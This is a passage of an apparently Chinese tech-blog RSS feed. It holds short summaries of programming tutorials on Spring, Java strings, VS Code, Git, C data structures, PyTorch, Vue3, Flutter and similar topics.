在创建好bean实例对象之后会调用一下MergedBeanDefinitionPostProcessor的postProcessMergedBeanDefinition方法让用户定义一下BeanDefinition&#xA;PopulateBean 之后就进入属性赋值方法，首先会先执行 InstantiationAwareBeanPostProcessor的 postProcessAfterInstantiation方法，返回bool类型的值，如果返回true则会继续属性赋值，返回false则不会属性赋值&#xA;如果返回true则开始执行InstantiationAwareBeanPostProcessor 的 postProcessProperties方法。自动注入 AutowiredAnnotationBeanPostProcessor的该方法就实现了自动注入的属性赋值&#xA;PropertyValues 在上面我们可以看到postProcessProperties方法返回了一个pvs，我们也可以自定义返回pvs，spring最后会帮我们注入到对象中，创建一个PVS返回即可&#xA;BeanPostProcessor 属性赋值之后spring会执行initializeBean 方法初始化bean,首先会先执行一些 Aware的注入&#xA;BeanNameAwareBeanClassLoaderAwareBeanFactoryAware 初始化的流程如下 postProcessBeforeInitialization方法在调用初始化方法之前执行,让用户可以不断的包装对象,有一个返回了null,则结束循环 返回对象之后就执行初始化方法,InitializingBean的方法就是在这里被触发 执行完初始化方法之后,spring会调用postProcessBeforeInitialization的另一个生命周期方法,同样也是让用户可以包装几层&#xA;作者：马尾区卷王&#xA;链接：https://juejin.cn/post/7089059751501234213&#xA;来源：稀土掘金&#xA;著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</description>
    </item>
    <item>
      <title>MODIS数据下载——CSV模式直接下载hdf文件</title>
      <link>https://bchobby.github.io/posts/49e6546b2a49a764994fcec12f6b067a/</link>
      <pubDate>Fri, 22 Apr 2022 13:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49e6546b2a49a764994fcec12f6b067a/</guid>
      <description>前提： 经常下载MODIS数据就会发现，NASA官网经常不干活——NSAS官网经常会有订单归档困难的情况，不能通过订单批量下载，这样就无法直接下载选定波段、经过投影与转tif处理后的数据了。&#xA;订单批量下载MODIS数据链接：MODIS数据下载——订单模式下载tif影像&#xA;这时我们就可以利用下载CSV的方式下载hdf格式的文件，当然后期就需要自己再将这些hdf格式文件处理成tif格式的文件。&#xA;具体操作如下： 选择需要下载的影像文件，然后点击下载此处的CSV文件；&#xA;下载后是一个包含各个遥感影像部分下载地址的.csv文件，其中第一行为列标题；从第二行开始，第二列是遥感影像下载地址的一部分。&#xA;接下来我们需要在其前面添加一段网址，将所有下载链接补充完整。方式如下：&#xA;选中右侧第一个空白列，在D2中输入如下：&#xA;=&#34;https://ladsweb.modaps.eosdis.nasa.gov/&#34;&amp;amp; 然后选择B2单元格，即生成影像的完整下载链接，接着直接下拉单元格进行填充。&#xA;填充到有数据的最后一行即可；随后不要动鼠标，直接将当前选中的列内容加以复制。&#xA;将复制的内容粘贴到一个新建的.txt文件中（不要复制第一行列标题）。&#xA;将.txt文件拖动导入浏览器中；如下显示：&#xA;此时首先需要选中一条链接，将其在新的浏览器界面打开。&#xA;如果没有登录EARTHDATA，则需要在新打开的界面中进行登录。&#xA;然后会出现保存或下载界面，关闭该提示与下载页面，回到.txt文件页面。&#xA;如果使用的是FireFox浏览器，可右键直接DownThemAll!!，选定文件夹后下载即可。（也可以使用IDM进行下载。）</description>
    </item>
    <item>
      <title>备忘录模式及其实现场景</title>
      <link>https://bchobby.github.io/posts/8430f7fc00e32c347ca03a8f0a4b1ffc/</link>
      <pubDate>Fri, 22 Apr 2022 11:56:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8430f7fc00e32c347ca03a8f0a4b1ffc/</guid>
      <description>备忘录模式（Memento Design Pattern），也叫快照（Snapshot）模式。指在不违背封装原则前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态，以便之后恢复对象为先前的状态。&#xA;备忘录模式在日常中很常见，比如Word中的回退，MySQL中的undo log日志，Git版本管理等等，我们都可以从当前状态退回之前保存的状态。比如Git中的checkout命令就可以从main版本切换到之前的bugFix版本：&#xA;一、备忘录模式介绍 备忘录是一种对象行为型模式，它提供了一种可以恢复状态的机制，并实现了内部状态的封装。下面就来看看备忘录模式的结构及其对应的实现：&#xA;1.1 备忘录模式的结构 备忘录的核心是备忘录类（Memento）和管理备忘录的管理者类（Caretaker）的设计，其结构如下图所示：&#xA;Originator：组织者类，记录当前业务的状态信息，提供备忘录创建和恢复的功能Memento：备忘录类，存储组织者类的内部状态，在需要时候提供这些内部状态给组织者类Caretaker：管理者类，对备忘录进行管理，提供存储于获取备忘录的功能，无法对备忘录对象进行修改和访问 1.2 备忘录模式的实现 在利用备忘录模式时，首先应该设计一个组织者类（Originator），它是一个具体的业务类，存储当前状态。它包含备忘录对象的创建方法createMemeto()和备忘录对象恢复方法restoreMemeto()。&#xA;Originator类的具体代码如下：&#xA;public class Originator { private String state; public String getState() { return state; } public void setState(String state) { this.state = state; } //创建一个备忘录对象 public Memento createMemento() { return new Memento(this); } //根据备忘录对象，恢复之前组织者的状态 public void restoreMemento(Memento m) { state = m.getState(); } } 对于备忘录类（Memento）而言，它存储组织者类（Originator）的状态，其具体代码如下：&#xA;public class Memento { private String state; public Memento(Originator o) { this.</description>
    </item>
    <item>
      <title>Java中删除String中空格的多种方法</title>
      <link>https://bchobby.github.io/posts/2e3b4e30ccc098604b256a1bf0669f78/</link>
      <pubDate>Fri, 22 Apr 2022 10:39:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e3b4e30ccc098604b256a1bf0669f78/</guid>
      <description>在Java中，要实现删除String中的空格的方法有很多种，具体有：&#xA;1、 trim() 删除字符串开头和结尾的空格，Java 1版本引入的接口，这是开发人员最常用的方法。trim移除的空白字符指的是指ASCII值小于或等于32的任何字符(’ U+0020 &#39;)，其中包含了空格、换行、退格等字符。&#xA;String value = &#34; Hellow world ! &#34;; System.out.println(&#34;before: \&#39;&#34; + value + &#34;\&#39;&#34;); String afterValue = value.trim(); System.out.println(&#34;after: \&#39;&#34; + afterValue + &#34;\&#39;&#34;); 结果为：&#xA;before: &#39; Hellow world ! &#39; after: &#39;Hellow world !&#39; 2、strip() 删除字符串开头和结尾的空格。与trim()功能基本相同，在Java 11版本上引入的接口，区别在于删除的是根据Unicode标准来标识的所有空格字符，除了ASCII中的字符以外，还是有很多其他的空白字符。&#xA;String value = &#34; Hellow world ! &#34;; System.out.println(&#34;before: \&#39;&#34; + value + &#34;\&#39;&#34;); String afterValue = value.strip(); System.out.println(&#34;after: \&#39;&#34; + afterValue + &#34;\&#39;&#34;); 结果为：</description>
    </item>
    <item>
      <title>【HDLBits刷题】Dff.</title>
      <link>https://bchobby.github.io/posts/7372baafe9a8a36b1f5af0fe4dd612f5/</link>
      <pubDate>Thu, 21 Apr 2022 22:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7372baafe9a8a36b1f5af0fe4dd612f5/</guid>
      <description>A D flip-flop is a circuit that stores a bit and is updated periodically, at the (usually) positive edge of a clock signal.&#xA;D flip-flops are created by the logic synthesizer when a clocked always block is used (See alwaysblock2). A D flip-flop is the simplest form of &#34;blob of combinational logic followed by a flip-flop&#34; where the combinational logic portion is just a wire.&#xA;Create a single D flip-flop.</description>
    </item>
    <item>
      <title>VOS3000 8.05安装及源码</title>
      <link>https://bchobby.github.io/posts/b6f6f101f9fdc06b9fae3f957fde9681/</link>
      <pubDate>Thu, 21 Apr 2022 21:15:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6f6f101f9fdc06b9fae3f957fde9681/</guid>
      <description>一、系统需求环境：&#xA;1.系统 ：linux 64位系统 2.内核要求：内核2.6 以上 3.内存 ：2G以上内存 4.系统要求：centos7.X 或者 redhat5.X （笔者用的centos7.5_64， 博主weixin@yuyinjiqiren最好用centos7.5） 5.java环境：java version &#34;1.5.0_08&#34; 6.web环境 ：apache-tomcat-5.5.15 7.数据库 ：mysql 二、安装需求软件：&#xA;1.apache-tomcat-5.5.15.tar.gz 2.jdk-1_5_0_08-linux-i586.rpm 3.vos3000-2.1.8-05.i586.rpm 4.emp-2.1.8-05.noarch.rpm 5.mbx3000-2.1.8-05.i586.rpm 6.ivr-2.1.8-05.i586.rpm 三、安装：&#xA;1.系统基础环境配置： 关闭selinux； vi /etc/sysconfig/selinux 设置：SELINUX=disabled 保存，退出，需重启生效。 防火墙关闭； service iptables stop chkconfig iptables off 检查启动列表，关闭无用的程序； chkconfig sendmail off chkconfig ip6tables off 安装中文支持： yum groupinstall chinese-support -y 2.安装数据库： yum install mysql mysql-server -y 设置开机启动，并启动： chkconfig mysqld on service mysqld start 设置mysql安全启动脚本： mysql_secure_installation 回车： Set root password?</description>
    </item>
    <item>
      <title>The request client is not a secure context and the resource is in more-private address ...</title>
      <link>https://bchobby.github.io/posts/161e06cd60f7ff38fd6ae9645da87806/</link>
      <pubDate>Thu, 21 Apr 2022 19:04:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/161e06cd60f7ff38fd6ae9645da87806/</guid>
      <description>概述 新版的chrome浏览器会校验发起端的域名和访问资源的域名直接的关系，如果客户端发起域名比访问资源所在的域名更public（开放），会导致The request client is not a secure context and the resource is in more-private address …错误产生。&#xA;问题 最近使用Chrome浏览器访问公司内网某个地址时，突然报了这么个错：&#xA;The request client is not a secure context and the resource is in more-private address space private. 以前都是正常的，最新的浏览器最近有什么更新导致的。&#xA;原因 报错内容&#xA;错误原因&#xA;解决办法 在浏览器地址栏输入&#xA;chrome://flags/#block-insecure-private-network-requests 按照下图将Block insecure private network requests.项的Default改为Disabled即可。&#xA;参考 Chrome浏览器：The request client is not a secure context and the resource is in more-private address …</description>
    </item>
    <item>
      <title>vscode常用插件</title>
      <link>https://bchobby.github.io/posts/44bb1b509830322c89fba8ecdb492608/</link>
      <pubDate>Thu, 21 Apr 2022 18:54:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44bb1b509830322c89fba8ecdb492608/</guid>
      <description>1.常用插件 1.Auto Close Tag 自动关闭标签，再开始标记的结束括号中键入 后，将自动插入结束标记&#xA;2.Auto Rename Tag 结合了自动关闭标签与同时修改同步标签&#xA;3.background&#xA;4.Beautify 美化代码&#xA;5.Bracket Pair Colorizer&#xA;6.Chinese(Simplified) Language Pack for Visual Studio Code&#xA;7.Debugger for Chrome 从VS Code调试在Google Chrome中运行的JavaScript代码。&#xA;8.GitLens-Gitsupercharged&#xA;9.HTML CSS Support&#xA;10.HTML Snippets&#xA;11.javaScript(ES6) code snippets ES6的代码片段&#xA;12.jQuery Code Snippets&#xA;13.Markdown Preview Enhanced&#xA;14.npm Intellisense&#xA;15.open in browser 在vscode中打开浏览器访问&#xA;16.Path Intellisense 自动路径补全&#xA;17.Vetur&#xA;18.vscode Gitlens 代码显示提交人员和时间&#xA;19.koroFileHeader 代码添加注释&#xA;vscode 更换背景图 设置-&amp;gt;搜索background-&amp;gt;Plugin background-&amp;gt;在setting.json中编辑&#xA;&#34;background.customImages&#34;: [ // &#34;file:///D:/pro/images/fa1368691ed006f0aac9fd54c2cb196.png&#34;,//图片地址 &#34;file:///D:/pro/images/f8e5b0ff63f0b7990a20c2285d699bd.png&#34;,//图片地址 ], &#34;</description>
    </item>
    <item>
      <title>VSCODE（三）用户界面</title>
      <link>https://bchobby.github.io/posts/45da0f7db17f727246fb008ab9ecf6e0/</link>
      <pubDate>Thu, 21 Apr 2022 17:33:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45da0f7db17f727246fb008ab9ecf6e0/</guid>
      <description>通过用户界面，我们可以设置软件的一些功能和表现，了解界面上各个UI功能块非常有必要。&#xA;一、设置 1.1 用户设置和工作区设置 用户设置（User Setting）: 所有VSCODE实例都有效的设置，因此也叫全局设置，这个设置通常放在计算机的固定位置；工作区设置（Workspace Setting）:当前工作区有效的设置。工作区设置可以上传到服务器上方便所有成员共享。 工作区有点像是项目设置实例，如果你要设置一个所有项目都生效的设置，请设置在用户设置中。&#xA;1.2 打开设置 VSCODE有途径进行VSCODE设置，分别是JSON和UI方式。那么如何打开JSON或UI进行设置呢？&#xA;菜单栏选取。FIle-Preference-Settings(Linux)；Code-Preference-Settings(Mac)；命令面板搜索。 ctrl+shift+P或者F1，搜索Preference:Open Setting(UI/JSON)；快捷键。ctrl+, 命令面板搜索是一个方便的工具，在你不记得或需要设置某一项功能是，可以试试搜索它！&#xA;UI方法进行设置，其界面如下：&#xA;最左边已经将设置进行了分类方便我们查找对应内容。&#xA;1.3 修改设置 UI设置。大部分的设置都可以通过复选框、输入框和下拉列表实现；JSON文件设置。对于比较复杂的设置，就需要编辑对应JSON文件实现设置。 JSON文件的全局默认位置：&#xA;Windows: %APPDATA%\Code\User\settings.jsonmacOS: $HOME/Library/Application Support/Code/User/setting.jsonLinux: $HOME/.config/Code/User/setting.json JSON文件局部默认位置：&#xA;文件根目录的.vscode文件夹下&#xA;有时候我们某些语言需要特定设置，另一些语言则需要另一个设置。VSCODE通过设置语言特定的设置，通过命令面板查找：Preferences: Configure Language Specific Settings。&#xA;简单说一下JSON的语法，这是配置的基础。JSON 的语法基本上可以视为 JavaScript 语法的一个子集，包括以下内容：&#xA;数据使用名/值对表示。使用大括号保存对象，每个名称后面跟着一个 ‘:’（冒号），名/值对使用 ,（逗号）分割。使用方括号保存数组，数组值使用 ,（逗号）分割。 看个例子：&#xA;{ &#34;book&#34;: [ { &#34;id&#34;:&#34;01&#34;, &#34;language&#34;: &#34;Java&#34;, &#34;edition&#34;: &#34;third&#34;, &#34;author&#34;: &#34;Herbert Schildt&#34; }, { &#34;id&#34;:&#34;07&#34;, &#34;language&#34;: &#34;C++&#34;, &#34;edition&#34;: &#34;second&#34;, &#34;author&#34;: &#34;E.Balagurusamy&#34; }] } %appdata%就代表了C:Users\用户名\AppData\Roaming这个文件夹。&#xA;注意：一些关乎安全的设置，则只能在全局进行设置。如：git.path termianl.integrated.shell.linux</description>
    </item>
    <item>
      <title>Git clone的使用方法</title>
      <link>https://bchobby.github.io/posts/8aabf6804842f389923e4a63bef6ea34/</link>
      <pubDate>Thu, 21 Apr 2022 14:12:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8aabf6804842f389923e4a63bef6ea34/</guid>
      <description>使用Git clone项目 1 . 首先我们要确保我们的电脑上已经安装Git。&#xA;桌面点击右键出现如下图所示的两个Git即Git已经安装。&#xA;2 . 在电脑的任意一个磁盘里新建一个本地文件夹作为clone项目的保存文件夹。&#xA;3 . 在码云上面打开我们要clone的项目。&#xA;4 . 点击克隆/下载按钮出现项目地址的连接，点击后面的复制。&#xA;5 . 进入我们创建的本地文件夹内，右击选择Git Bash Here。&#xA;6 . 稍加等待，出现如下命令窗口。&#xA;7 . 输入git clone https://gitee.com/wei-weixiao/WareHouse.git。&#xA;即git clone 复制的项目地址。&#xA;8 . 回车进行项目的下载，如下图所示项目下载完成，项目已经出现在本地的文件夹内。</description>
    </item>
    <item>
      <title>二叉树的非递归遍历算法C语言实现（详细注释版）</title>
      <link>https://bchobby.github.io/posts/31ff706a65ef3e890b432966124bd439/</link>
      <pubDate>Thu, 21 Apr 2022 13:35:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31ff706a65ef3e890b432966124bd439/</guid>
      <description>二叉树的非递归算法遍历分为：先序遍历，中序遍历，后序遍历。&#xA;此文章我会根据先、中、后的顺序为大家用C语言实现全部代码。&#xA;顾名思义先序遍历是先遍历根节点，随后是左孩子，右孩子 。&#xA;中序遍历与后序遍历可以通过类比改变根节点相对左右孩子的遍历顺序。&#xA;我不为大家讲解先、中、后遍历的实现思想了。&#xA;我为我所写的每一行代码都书写了详细的注释，为大家看懂代码的目的及功能提供便利。&#xA;所写注释可能会有少部分错别字，如果发现欢迎大家及时提出。&#xA;先为大家附上代码实现结果图：&#xA;马上为大家附上全部代码：&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; //创建节点结构体 typedef struct{ char data; //节点数据 struct BTNode * LChild, * RChild;&#x9;//左右孩子 }BTNode; //创建树 BTNode *CreateTree(void){ BTNode *T,*head,*s[50];&#x9;//T：用于储存和返回创建的树。 head：用于创建节点。 s[50]：用于储存树。 char ch; //用于获取树的节点的data数据 int i,j; //i：用于定位树节点的序号（i=0时退出）。 j：用于定位该树节点的父节点 while (1){ printf(&#34;please enter a number:&#34;);&#x9;scanf(&#34;%d&#34;, &amp;amp;i);&#x9;//输入节点插入位置。 getchar();&#x9;//吸取输入后的回车符 防止回车符对数据影响 if (i==0) //当i=0时结束输入数据 break; else{ printf(&#34;please enter a char:&#34;); ch=getchar();&#x9;//ch用于获取节点的储存数据 head=(BTNode *)malloc(sizeof(BTNode));&#x9;//为head分配内存 head-&amp;gt;data=ch;&#x9;//将ch获取的值赋给head的data数据 head-&amp;gt;LChild=head-&amp;gt;RChild=NULL;&#x9;//将head的左右孩子节点指向空（初始化左右孩子节点） s[i]=head;&#x9;//将该节点对应的位置赋值到树的列表中 if (i==1) //如果i=1则该节点为树的根 T=head; else { j=i/2;&#x9;//否则用i/2定位到本次赋值节点的父节点并将父节点的位置赋值给j if (i%2==0) //如果i可以被2整除则该节点是其父节点的左孩子 s[j]-&amp;gt;LChild=head;&#x9;else //否则该节点是其父节点的右孩子 s[j]-&amp;gt;RChild=head; } } } return(T) ;&#x9;//将创建好的树返回 } //非递归算法的先序遍历 void LeftShow(BTNode *head){ BTNode * rchildlist[50];&#x9;//创建一个用于储存右孩子的栈。因为输出父节点，然后输出左孩子。所以需要将右孩子储存起来。 BTNode * show=head;&#x9;//将show指针初始化为head的地址。 show用于遍历时储存正在遍历的节点。从根节点开始遍历。 int i=0;&#x9;//i为rchildlist栈顶。 while(1){ if(show==NULL){&#x9;//当遍历到的节点是NULL时。进行分情况判定 if(i==0)&#x9;//如果栈此时也为空。则已经遍历完整个树。就可以退出循环。 break; else{&#x9;//如果栈此时不为空。则执行退栈操作。将退栈的值赋值为下一个需要遍历的节点。此时是左孩子已经遍历完，需要遍历右孩子。 show=rchildlist[i];&#x9;//将退栈的值赋值为下一个需要遍历的节点。 i--;&#x9;//执行退栈操作 } }else {&#x9;//当遍历到的节点不为NULL时。 printf(&#34;</description>
    </item>
    <item>
      <title>使用VScode 开发ESP32-----1 VSCODE 创建 编译 下载程序基本使用</title>
      <link>https://bchobby.github.io/posts/96d3fe0cced6907f578f376488b98062/</link>
      <pubDate>Thu, 21 Apr 2022 13:28:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96d3fe0cced6907f578f376488b98062/</guid>
      <description>1,使用示例项目模板 创建一个项目 单击菜单 View -&amp;gt; Command Palette… 或者 F1 调出命令面板.后面的内容将不在进行重复提示. 凡是 遇到&#xA;命令:&#xA;ESP-IDF: Show Examples Projects&#xA;均需要 调出命令面板 输入.&#xA;2, 显示所有示例模板&#xA;命令:&#xA;ESP-IDF: Show Examples Projects&#xA;3, 在列出的 示例列表中 选择 blink_example 项目. 随后点击 Create blink_example 项目按钮, 根据提示 选择创建项目所在目录.(如果用户选择/Users/myUser/someFolder这个路径 将会得到/Users/myUser/someFolder/blink. 同时这个新的项目目录将在 Visual Studio Code 中创建和打开。)&#xA;4, 选择一个 Espressif 目标（esp32、esp32s2 等）&#xA;命令:&#xA;ESP-IDF: Set Espressif device target&#xA;5, menuconfig 配置项目(此步骤是对项目进行整体的配置,配置内容较多 如不清楚 可先忽略)&#xA;命令:&#xA;ESP-IDF: SDK Configuration editor&#xA;6,C/C++配置文件. 在当前项目的 .vscode/c_cpp_properties.json 文件中将展示 对C++编译器的配置.</description>
    </item>
    <item>
      <title>pytorch实现：卷积神经网络识别FashionMNIST</title>
      <link>https://bchobby.github.io/posts/dae4aa4f25fb0ed8c76111930ebaf714/</link>
      <pubDate>Thu, 21 Apr 2022 11:37:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae4aa4f25fb0ed8c76111930ebaf714/</guid>
      <description>pytorch实现：卷积神经网络识别FashionMNIST 一、卷积神经网络1.1 导入需要的包1.2 图像数据准备1.3 卷积神经网络搭建1.4 卷积神经网络训练与预测 二、空洞卷积神经网络2.1 空洞卷积神经网络搭建2.2 空洞卷积网络预测 一、卷积神经网络 1.1 导入需要的包 对于moduleNotFoundError: No module named ‘pandas’等情况发生时，需要在Anaconda Prompt下进入pytorch（activate pytorch）环境，然后conda install pandas即可。（采用pip安装会报错，但也可以尝试）&#xA;import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns import copy import time import torch import torch.nn as nn import torch.utils.data as Data from sklearn.metrics import accuracy_score, confusion_matrix, classification_report from torch.optim import Adam from torchvision.datasets import FashionMNIST from torchvision import transforms import warnings warnings.</description>
    </item>
    <item>
      <title>GPU深度学习环境配置</title>
      <link>https://bchobby.github.io/posts/cc2ad8f43bc24d1b78ec423a08d8713a/</link>
      <pubDate>Thu, 21 Apr 2022 11:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc2ad8f43bc24d1b78ec423a08d8713a/</guid>
      <description>配置之前，先说一下基础概念。&#xA;显卡驱动 显卡驱动就是用来驱动显卡的程序，它是硬件所对应的软件。驱动程序即添加到操作系统中的一小&#xA;块代码，其中包含有关硬件设备的信息。&#xA;CUDA CUDA（Compute Unified Device Architecture），是显卡厂商NVIDIA推出的运算平台。 CUDA™&#xA;是一种由NVIDIA推出的通用并行计算架构，该架构使GPU能够解决复杂的计算问题。 它包含了CUDA指&#xA;令集架构（ISA）以及GPU内部的并行计算引擎。 开发人员可以使用C语言来为CUDA™架构编写程序，&#xA;所编写出的程序可以在支持CUDA™的处理器上以超高性能运行。CUDA3.0已经开始支持C++和&#xA;FORTRAN。&#xA;CUDA和cudatoolkit的区别 在使用conda 安装pytorch深度学习框架时，可以发现通常会自动安装对应版本的cudatoolkit。&#xA;上述安装的 cudatoolkit 与通过 Nvidia 官方提供的 CUDA Toolkit 是不一样的。具体而言，Nvidia&#xA;官方提供的 CUDA Toolkit 是一个完整的工具安装包，其中提供了 Nvidia 驱动程序、开发 CUDA 程序相&#xA;关的开发工具包等可供安装的选项。使用 Nvidia 官网提供的 CUDA Toolkit 可以安装开发 CUDA 程序所&#xA;需的工具，包括 CUDA 程序的编译器、IDE、调试器等，CUDA 程序所对应的各式库文件以及它们的头&#xA;文件。上述 CUDA Toolkit 的具体组成可参考 CUDA Toolkit Major Components.&#xA;实际上，Nvidia 官方提供安装的 CUDA Toolkit 包含了进行 CUDA 相关程序开发的编译、调试等过&#xA;程相关的所有组件。但对于 Pytorch 之类的深度学习框架而言，其在大多数需要使用 GPU 的情况中只&#xA;需要使用 CUDA 的动态链接库支持程序的运行( Pytorch 本身与 CUDA 相关的部分是提前编译好的 )，</description>
    </item>
    <item>
      <title>vue3怎样实现变量双向绑定</title>
      <link>https://bchobby.github.io/posts/2e069cf3078b439c30853d41ec2ca7dd/</link>
      <pubDate>Thu, 21 Apr 2022 09:43:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e069cf3078b439c30853d41ec2ca7dd/</guid>
      <description> vue2可以通过data、props、computed等钩子绑定变量，vue3也有相似的方式，这里只说一下vue2中的data方式在vue3中的写法&#xA;①通过reactive绑定： &amp;lt;templete&amp;gt; &amp;lt;div&amp;gt;{{value}}&amp;lt;/div&amp;gt; &amp;lt;/templete&amp;gt; &amp;lt;script lang=&#34;ts&#34;&amp;gt; import { toRefs, reactive } from &#34;vue&#34;; export default{ setup(){ const data = reactive({ value:&#39;&#39; }) return { ...toRefs(data) //toRefs可以解构data中属性，属性也是双向绑定的，这样就不用绑定变量时嵌套data了 } } } &amp;lt;/script&amp;gt; ②通过ref绑定 &amp;lt;templete&amp;gt; &amp;lt;div&amp;gt;{{data}}&amp;lt;/div&amp;gt; &amp;lt;/templete&amp;gt; &amp;lt;script lang=&#34;ts&#34;&amp;gt; import { onMounted, ref } from &#34;vue&#34;; export default{ setup(){ let data = ref(&#39;测试数据1&#39;) onMounted({ data.value = &#39;测试数据2&#39; }) return { data } } } &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>1分钟学会使用json-server</title>
      <link>https://bchobby.github.io/posts/2272112d33155af93d3d9d4a0c053d75/</link>
      <pubDate>Wed, 20 Apr 2022 20:55:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2272112d33155af93d3d9d4a0c053d75/</guid>
      <description>嗨咯！这里是小M. （努力学习VUE版）&#xA;先来分享一个我的每日表情包（糊了的萨斯给才最可爱 ）&#xA;今天分享json-server的简单用法（学不会你来打我）&#xA;1.json-server是啥玩意儿 json-server 是一个 Node 模块，运行 Express 服务器，你可以指定一个 json 文件作为 api 的数据源。&#xA;简单的说，它可以模拟小型后台接口，在一个JSON文件中操作数据，是基于的node.js的一个模块&#xA;比如我在学习axios，就可以用json-server来模拟接口&#xA;2.安装和使用 npm上网址戳 这儿 gitHub网址戳 这儿 在README文件中都有很详细的介绍&#xA;$\color{20B2AA} {全局安装（在node环境下）} $&#xA;npm install -g json-server $\color{20B2AA} {创建一个名为db.json文件， 并且存放好以下数据} $&#xA;{ &#34;posts&#34;: [ { &#34;id&#34;: 1, &#34;title&#34;: &#34;json-server&#34;, &#34;author&#34;: &#34;typicode&#34; } ], &#34;comments&#34;: [ { &#34;id&#34;: 1, &#34;body&#34;: &#34;some comment&#34;, &#34;postId&#34;: 1 } ], &#34;profile&#34;: { &#34;name&#34;: &#34;typicode&#34; } } 文件中的数据是可以修改的，但是对象名最好不要改（posts、comments、profile）&#xA;启 动 服 务 \color{20B2AA}{启动服务} 启动服务</description>
    </item>
    <item>
      <title>C#实现计算器</title>
      <link>https://bchobby.github.io/posts/1993a75cb38e11fc6d09e9687a552e07/</link>
      <pubDate>Wed, 20 Apr 2022 18:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1993a75cb38e11fc6d09e9687a552e07/</guid>
      <description>最终效果图：&#xA;编辑器：Visual Studio 2022&#xA;具体步骤：&#xA;1、创建窗体应用&#xA;2、拖拽公共组件 label&#xA;并且 修改 字体&#xA;（name）labelout&#xA;font 宋体 常规 一号&#xA;Text 0&#xA;textalign BottomRight&#xA;autoSize false （可以任意拖拽大小 位置）&#xA;3、复制窗体1&#xA;（name）labelbefore&#xA;font 宋体 常规 二号&#xA;4、复制窗体2 最上面的&#xA;（name）labelmode&#xA;然后将 第一行 第二行 的 text 文本0 置空&#xA;5、拖拽公共组件button&#xA;（name）num1&#xA;text 1&#xA;然后复制 将对应的name text 改成对应的数字&#xA;6、双击数字 添加对应数字的点击事件（运行 保存完 双击才能加事件 ）&#xA;7、选中数字，点击工具箱中的公共组件 指针 复制 按钮&#xA;Text 改为 清除&#xA;name clean&#xA;双击清除 添加事件&#xA;number = 0;&#xA;label2.Text = Convert.</description>
    </item>
    <item>
      <title>Floyd算法(代码)</title>
      <link>https://bchobby.github.io/posts/cf3952f4f2250fd1f6d6700295719804/</link>
      <pubDate>Wed, 20 Apr 2022 18:10:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf3952f4f2250fd1f6d6700295719804/</guid>
      <description>无向图的Floyd算法+有向图的floyd算法&#xA;只需修改一行，&#xA;dist[u][v]=dist[v][u]= w;&#xA;改为&#xA;dist[u][v]= w;&#xA;代码:&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; #define Max 9999 int n, m; int dist[Max][Max]; void Floyd() { for (int i = 0; i &amp;lt; n; ++i) { for (int j = 0; j &amp;lt; n; ++j) { for (int p = 0; p &amp;lt; n; ++p) { if (dist[j][p] &amp;gt; dist[j][i] + dist[i][p]) { dist[j][p] = dist[j][i] + dist[i][p]; } } } } } int main() { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>Flutter跳转界面</title>
      <link>https://bchobby.github.io/posts/71395c7cee1f245b0b80c023bff159fe/</link>
      <pubDate>Wed, 20 Apr 2022 17:37:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71395c7cee1f245b0b80c023bff159fe/</guid>
      <description>跳转界面是通过进栈和出栈的方式进行的&#xA;最简单的跳转方式如下&#xA;Navigator.push( context, MaterialPageRoute( builder: (context) =&amp;gt; const ResetPasswordSubmitStateless()), ); 出栈方式&#xA;Navigator.pop(context); 如果你想出两个栈就如下&#xA;Navigator.pop(context); Navigator.pop(context); 如果你想带参数跳转&#xA;Navigator.push(context, MaterialPageRoute(builder: (BuildContext context) { return ResetPasswordSubmit(//这个是要跳转的界面 userPhone: _userPhoneController.text,//参数一 userCode: _AuthCodeController.text,//参数二 ); })); 接收的地方&#xA;class ResetPasswordSubmit extends StatefulWidget { String userPhone;//全局 String userCode; ResetPasswordSubmit({key, this.userPhone, this.userCode}) : super(key: key);//这里接收 @override ResetPasswordSubmitState createState() =&amp;gt; ResetPasswordSubmitState(); } 使用如下&#xA;print(&#34;${widget.userPhone}&#34;); print(&#34;${widget.userCode}&#34;); 第一个界面如下&#xA;import &#39;dart:convert&#39;; import &#39;package:dio/dio.dart&#39;; import &#39;package:flutter/material.dart&#39;; import &#39;package:fluttertoast/fluttertoast.dart&#39;; import &#39;DialogRouter.dart&#39;; import &#39;LoadingDialog.dart&#39;; import &#39;ResetPasswordSubmit.</description>
    </item>
    <item>
      <title>wxWidgets 双缓冲图片。</title>
      <link>https://bchobby.github.io/posts/722bf067f0019c2d66329de82ed100e1/</link>
      <pubDate>Wed, 20 Apr 2022 17:11:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/722bf067f0019c2d66329de82ed100e1/</guid>
